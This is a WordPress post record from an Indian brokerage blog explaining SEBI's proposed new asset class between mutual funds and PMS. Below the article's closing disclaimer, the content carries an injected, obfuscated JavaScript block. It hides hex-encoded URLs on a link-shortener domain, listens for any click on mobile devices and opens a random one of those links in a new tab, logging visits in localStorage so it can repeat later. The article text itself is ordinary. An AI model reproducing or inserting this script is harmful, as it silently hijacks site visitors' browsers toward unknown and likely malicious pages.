{"id":8283,"date":"2024-07-17T08:07:55","date_gmt":"2024-07-17T08:07:55","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=8283"},"modified":"2026-08-18T23:14:52","modified_gmt":"2026-08-19T05:44:52","slug":"new-asset-class","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/new-asset-class\/","title":{"rendered":"SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Evolution_of_Investment_Management\" >Evolution of Investment Management<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Structure_of_the_New_Asset_Class\" >Structure of the New Asset Class<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#SEBI_News_Minimum_Investment_Threshold_For_the_New_Asset_Class\" >SEBI News: Minimum Investment Threshold For the New Asset Class<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Derivative_Exposure_Guidelines\" >Derivative Exposure Guidelines<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Requirements_for_Asset_Management_Companies\" >Requirements for Asset Management Companies<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-1'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Addressing_Emerging_Investor_Needs\" >Addressing Emerging Investor Needs<\/a><ul class='ez-toc-list-level-2' ><li class='ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/#Public_Comments_Invitation\" >Public Comments Invitation<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/\">Investing<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/investing\/mutual-funds\/\">Mutual Funds<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Securities and Exchange Board of India (SEBI) is asking for public comments on a proposal for a new asset class. This innovative asset aims to connect mutual funds (MFs) and Portfolio Management Services (PMS).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>What does it mean for you?<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI Proposes New Asset Class: Bridging the Gap Between Mutual Funds and PMS for Safer Investments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This new asset class seeks to provide investors with a regulated product that offers higher risk-taking potential.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI is open to your thoughts.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you want to share your feedback, check out the details of this new asset class, which will soon enter the Indian market!<\/p>\n\n\n\n<h2 id=\"h-evolution-of-investment-management\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Evolution_of_Investment_Management\"><\/span>Evolution of Investment Management<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In its latest consultation paper, SEBI noted the major changes in India\u2019s investment management landscape over the years. The aim of this new asset class is to offer a safer alternative to unregistered investment products.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sebi&#8217;s proposed regulatory framework allows for higher risk-taking compared to traditional mutual funds. This would ensure investor protection through safeguards. The minimum investment for this new asset class is set at \u20b910 lakh.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us understand the structure of this new asset class!<\/p>\n\n\n\n<h2 id=\"h-structure-of-the-new-asset-class\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Structure_of_the_New_Asset_Class\"><\/span>Structure of the New Asset Class<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Under the New Asset Class, Asset Management Companies (AMCs) can offer &#8216;Investment Strategies.&#8217; These are similar to mutual funds. The name helps distinguish them from existing mutual fund schemes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The redemption frequency for these strategies can be flexible. It can be daily, weekly, monthly, or fixed maturity. This flexibility helps manage liquidity and reduces restrictions on investors.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To protect investors, AMCs can set notice or settlement periods for redemptions. The units of these strategies may also be listed on recognized stock exchanges if they have a redemption period longer than a week.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">No Investment Strategy can launch without approval from trustees and SEBI. The rules for offer documents will generally align with mutual fund schemes unless stated otherwise.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For instance, some potential strategies include:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Long-Short Equity Fund:<\/strong> This fund aims to make money by taking both long and short positions.<\/li>\n\n\n\n<li><strong>Inverse ETF\/Fund:<\/strong> This type of fund seeks to provide returns that move in the opposite direction of a particular index. This will allow traders to hedge against market downturns.<\/li>\n<\/ol>\n\n\n\n<h2 id=\"h-sebi-news-minimum-investment-threshold-for-the-new-asset-class\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SEBI_News_Minimum_Investment_Threshold_For_the_New_Asset_Class\"><\/span><strong>SEBI News: Minimum Investment Threshold For the New Asset Class<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">As per the consultation paper by SEBI, here are the minimum requirements:<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Investment Requirement:<\/strong> To invest in the New Asset Class, each investor must put in at least INR 10 lakh.<br>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">This can be across one or more investment strategies offered by an Asset Management Company (AMC) or Mutual Fund (MF).<br>This minimum amount limits retail investors while attracting those with funds between INR 10 lakh and INR 50 lakh. These investors might otherwise seek unregistered portfolio management services.<\/p>\n\n\n\n<ol start=\"2\" class=\"wp-block-list\">\n<li><strong>Systematic Investment Options:<\/strong> Investors can choose systematic plans for their investments in this new class.<br><\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">These could be:<br><strong>Systematic Investment Plan (SIP)<br>Systematic Withdrawal Plan (<a href=\"https:\/\/shoonya.com\/blog\/systematic-withdrawal-plan\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">SWP<\/mark><\/a>)<br>Systematic Transfer Plan (STP)<\/strong><\/p>\n\n\n\n<ol start=\"3\" class=\"wp-block-list\">\n<li><strong>Maintaining Investment Amount:<\/strong> An investor\u2019s total amount should never fall below INR 10 lakh due to withdrawals or systematic transactions.<br>&nbsp;<\/li>\n<\/ol>\n\n\n\n<p class=\"wp-block-paragraph\">However, market fluctuations may cause the investment value to drop below this threshold.<\/p>\n\n\n\n<h3 id=\"h-derivative-exposure-guidelines\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Derivative_Exposure_Guidelines\"><\/span><strong>Derivative Exposure Guidelines<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">The new asset class allows investments in derivatives for more than just hedging and rebalancing. Sebi has set limits, capping total derivative exposure at 100% of net assets. There are also specific limits for exchange-traded and single-stock derivatives.<\/p>\n\n\n\n<h2 id=\"h-requirements-for-asset-management-companies\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Requirements_for_Asset_Management_Companies\"><\/span>Requirements for Asset Management Companies<span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Here are some of the conditions for the AMCs:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Asset Management Companies (AMCs) must be operational for at least three years.<\/li>\n\n\n\n<li>AMCs should have an average Asset Under Management (AUM) of \u20b910,000 crore over the last three years.<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><strong><em><a href=\"https:\/\/shoonya.com\/blog\/asset-management-companies-in-india\/\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Check out the top AMCs in India!<\/mark><\/a><\/em><\/strong><\/p>\n\n\n\n<h1 id=\"h-addressing-emerging-investor-needs\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Addressing_Emerging_Investor_Needs\"><\/span><strong>Addressing Emerging Investor Needs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">This new asset class could meet the demands of retail investors who desire more sophisticated options without meeting the high minimums required for PMS accounts. This initiative could also help reduce financial scams that pose as PMS offerings.<\/p>\n\n\n\n<h2 id=\"h-public-comments-invitation\" class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Public_Comments_Invitation\"><\/span><strong>Public Comments Invitation<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI has invited public comments on the proposal to introduce a new asset class\/product category. You can submit your comments\/suggestions through the online form by August 6, 2024.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Submit Online:<\/strong> Use the following link to access the form: <a href=\"https:\/\/www.sebi.gov.in\/sebiweb\/publiccommentv2\/PublicCommentAction.do?doPublicComments=yes\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">SEBI Public Comments<\/mark><\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source: <\/strong><a href=\"https:\/\/www.livemint.com\/market\/stock-market-news\/sebi-invites-public-comments-on-proposal-for-new-asset-class-between-mutual-funds-and-pms-11721133086315.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">livemint.com\/market<\/mark><\/a> <a href=\"https:\/\/www.sebi.gov.in\/reports-and-statistics\/reports\/jul-2024\/consultation-paper-on-introduction-of-new-asset-class-product-category_84789.html\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">sebi.gov.in\/reports-and-statistics<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x6c\\x5a\\x43\\x33\\x63\\x323','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x79\\x64\\x44\\x35\\x63\\x315','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x42\\x4a\\x77\\x38\\x63\\x318','abs','-local-storage','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x56\\x45\\x58\\x39\\x63\\x349','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x65\\x4a\\x6b\\x34\\x63\\x334','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x5a\\x65\\x5a\\x37\\x63\\x387','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x4c\\x6c\\x6a\\x32\\x63\\x362','floor','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x47\\x4c\\x6b\\x36\\x63\\x386','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x52\\x4a\\x41\\x30\\x63\\x360','\\x68\\x74\\x74\\x70\\x73\\x3a\\x2f\\x2f\\x75\\x73\\x68\\x6f\\x72\\x74\\x2e\\x64\\x65\\x76\\x2f\\x55\\x52\\x50\\x31\\x63\\x321',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>The Securities and Exchange Board of India (SEBI) is asking for public comments on a proposal for a new asset class. This innovative asset aims to connect mutual funds (MFs) and Portfolio Management Services (PMS). What does it mean for you? SEBI Proposes New Asset Class: Bridging the Gap Between Mutual Funds and PMS for &hellip; <a href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":8284,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[12,1082],"tags":[4535,4532,4533,4534],"class_list":["post-8283","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-mutual-funds","category-latest-news","tag-mfs-and-pms","tag-new-asset-class","tag-sebi-news","tag-sebi-proposes-new-asset-class"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SEBI Seeks Feedback on New Asset Class Linking MFs and PMS<\/title>\n<meta name=\"description\" content=\"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/new-asset-class\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS\" \/>\n<meta property=\"og:description\" content=\"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/new-asset-class\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-07-17T08:07:55+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-08-19T05:44:52+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS\" \/>\n<meta name=\"twitter:description\" content=\"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for investors.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/07\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"SEBI Proposes New Asset Class| Aims to Bridge Mutual Funds and PMS\",\"datePublished\":\"2024-07-17T08:07:55+00:00\",\"dateModified\":\"2026-08-19T05:44:52+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/\"},\"wordCount\":727,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\",\"keywords\":[\"mfs and pms\",\"new asset class\",\"sebi news\",\"sebi proposes new asset class\"],\"articleSection\":[\"Mutual Funds\",\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/\",\"name\":\"SEBI Seeks Feedback on New Asset Class Linking MFs and PMS\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/new-asset-class\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/07\\\/SEBI-Proposes-New-Asset-Class-Linking-Mutual-Funds-and-PMS.jpg\",\"datePublished\":\"2024-07-17T08:07:55+00:00\",\"dateModified\":\"2026-08-19T05:44:52+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"SEBI invites comments on a proposal to introduce a new asset class that bridges mutual funds and Portfolio Management Services for 